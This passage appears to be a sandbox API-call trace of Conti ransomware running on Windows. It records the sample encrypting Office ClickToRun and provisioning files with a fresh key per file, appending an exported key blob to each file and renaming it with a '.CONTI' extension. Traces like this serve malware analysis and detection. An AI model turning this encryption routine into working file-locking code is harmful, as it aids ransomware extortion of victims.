	[0098.819] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x66, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x70) returned 1
	[0098.819] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.819] WriteFile (in: hFile=0x350, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x70, lpOverlapped=0x0) returned 1
	[0098.819] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.819] WriteFile (in: hFile=0x350, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0098.819] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.819] CloseHandle (hObject=0x350) returned 1
	[0098.820] GetProcessHeap () returned 0x1720000
	[0098.820] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.820] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash"
	[0098.820] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash.CONTI"
	[0098.820] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash.conti")) returned 1
	[0098.821] GetProcessHeap () returned 0x1720000
	[0098.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.821] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0098.821] GetProcessHeap () returned 0x1720000
	[0098.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0098.821] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0098.821] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x17c8330) returned 1
	[0098.821] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x573fb4c | out: pbData=0x17d2d6c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0098.822] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml")) returned 0x20
	[0098.828] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0098.828] GetLastError () returned 0x0
	[0098.828] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=8260188) returned 1
	[0098.828] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7e0a5c
	[0098.828] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.828] SetEndOfFile (hFile=0x350) returned 1
	[0098.828] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.828] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.829] WriteFile (in: hFile=0x350, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0098.832] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.832] ReadFile (in: hFile=0x350, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x500000, lpOverlapped=0x0) returned 1
	[0100.746] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000) returned 1
	[0100.752] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.752] WriteFile (in: hFile=0x350, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x500000, lpOverlapped=0x0) returned 1
	[0102.259] ReadFile (in: hFile=0x350, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2e0a5c, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2e0a5c, lpOverlapped=0x0) returned 1
	[0102.287] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e0a5c, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e0a60) returned 1
	[0102.767] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.767] WriteFile (in: hFile=0x350, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2e0a60, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2e0a60, lpOverlapped=0x0) returned 1
	[0102.796] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.796] WriteFile (in: hFile=0x350, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0102.796] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.796] CloseHandle (hObject=0x350) returned 1
	[0104.953] GetProcessHeap () returned 0x1720000
	[0104.953] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0104.954] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml"
	[0104.954] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.CONTI"
	[0104.954] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml.conti")) returned 1
	[0104.955] GetProcessHeap () returned 0x1720000
	[0104.955] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0104.955] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0104.955] GetProcessHeap () returned 0x1720000
	[0104.955] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8908 | out: hHeap=0x1720000) returned 1
	[0104.955] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0107.327] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c8230) returned 1
	[0107.327] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x573fb4c | out: pbData=0x17d443c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0107.329] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml")) returned 0x20
	[0107.329] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0107.329] GetLastError () returned 0x0
	[0107.329] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=4420) returned 1
	[0107.329] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1144
	[0107.330] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.330] SetEndOfFile (hFile=0x390) returned 1
	[0107.330] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.330] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.330] WriteFile (in: hFile=0x390, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0107.332] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.332] ReadFile (in: hFile=0x390, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x1144, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x1144, lpOverlapped=0x0) returned 1
	[0107.332] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1144, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1150) returned 1
	[0107.333] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.333] WriteFile (in: hFile=0x390, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x1150, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x1150, lpOverlapped=0x0) returned 1
	[0107.333] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.333] WriteFile (in: hFile=0x390, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0107.333] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.333] CloseHandle (hObject=0x390) returned 1
	[0107.333] GetProcessHeap () returned 0x1720000
	[0107.333] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.333] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"
	[0107.333] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.CONTI"
	[0107.333] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.conti")) returned 1
	[0107.334] GetProcessHeap () returned 0x1720000
	[0107.334] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.334] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0107.334] GetProcessHeap () returned 0x1720000
	[0107.334] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb5d0 | out: hHeap=0x1720000) returned 1
	[0107.334] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0108.107] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6515758 | out: phKey=0x6515758*=0x17c82b0) returned 1
	[0108.107] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x651575c, pdwDataLen=0x573fb4c | out: pbData=0x651575c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0108.110] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0108.110] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.110] GetLastError () returned 0x0
	[0108.110] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=710) returned 1
	[0108.110] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0108.110] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.110] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.110] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.110] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.111] WriteFile (in: hFile=0x3c4, lpBuffer=0x651575c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x651575c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0108.112] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.112] ReadFile (in: hFile=0x3c4, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2c6, lpOverlapped=0x0) returned 1
	[0108.112] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2c6, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d0) returned 1
	[0108.112] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.112] WriteFile (in: hFile=0x3c4, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.112] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.112] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6515750*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0108.113] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.113] CloseHandle (hObject=0x3c4) returned 1
	[0108.113] GetProcessHeap () returned 0x1720000
	[0108.113] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.113] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml"
	[0108.113] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.CONTI"
	[0108.113] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0108.113] GetProcessHeap () returned 0x1720000
	[0108.113] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.113] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.114] GetProcessHeap () returned 0x1720000
	[0108.114] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9e20 | out: hHeap=0x1720000) returned 1
	[0108.114] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0108.383] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c83b0) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x573fb4c | out: pbData=0x17d2694*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0108.655] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0109.977] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.030] GetLastError () returned 0x0
